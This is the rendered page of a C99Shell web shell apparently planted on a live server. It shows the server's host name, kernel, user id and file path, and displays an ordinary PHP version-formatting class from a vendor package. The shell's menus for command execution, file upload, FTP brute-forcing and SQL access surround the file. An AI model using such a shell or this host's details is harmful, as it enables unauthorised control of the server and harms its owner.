!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/jean85/pretty-package-versions/src/   drwxr-xr-x
Free 29.17 GB of 117.98 GB (24.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Version.php (2.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Jean85;

class 
Version
{
    private const 
SHORT_COMMIT_LENGTH 7;

    
/** @var string */
    
private $packageName;

    
/** @var string */
    
private $prettyVersion;

    
/** @var string */
    
private $reference;

    
/** @var bool */
    
private $versionIsTagged;

    public const 
NO_VERSION_TEXT '{no version}';
    public const 
NO_REFERENCE_TEXT '{no reference}';

    public function 
__construct(string $packageName, ?string $prettyVersion null, ?string $reference null)
    {
        
$this->packageName $packageName;
        
$this->prettyVersion $prettyVersion ?? self::NO_VERSION_TEXT;
        
$this->reference $reference ?? self::NO_REFERENCE_TEXT;
        
$this->versionIsTagged preg_match('/[^v\d.]/'$this->getShortVersion()) === 0;
    }

    public function 
getPrettyVersion(): string
    
{
        if (
$this->versionIsTagged) {
            return 
$this->prettyVersion;
        }

        return 
$this->getVersionWithShortReference();
    }

    public function 
getFullVersion(): string
    
{
        return 
$this->prettyVersion '@' $this->getReference();
    }

    
/**
     * @deprecated
     */
    
public function getVersionWithShortCommit(): string
    
{
        return 
$this->getVersionWithShortReference();
    }

    public function 
getVersionWithShortReference(): string
    
{
        return 
$this->prettyVersion '@' $this->getShortReference();
    }

    public function 
getPackageName(): string
    
{
        return 
$this->packageName;
    }

    public function 
getShortVersion(): string
    
{
        return 
$this->prettyVersion;
    }

    
/**
     * @deprecated
     */
    
public function getCommitHash(): string
    
{
        return 
$this->getReference();
    }

    public function 
getReference(): string
    
{
        return 
$this->reference;
    }

    
/**
     * @deprecated
     */
    
public function getShortCommitHash(): string
    
{
        return 
$this->getShortReference();
    }

    public function 
getShortReference(): string
    
{
        return 
substr($this->reference0self::SHORT_COMMIT_LENGTH);
    }

    public function 
__toString(): string
    
{
        return 
$this->getPrettyVersion();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--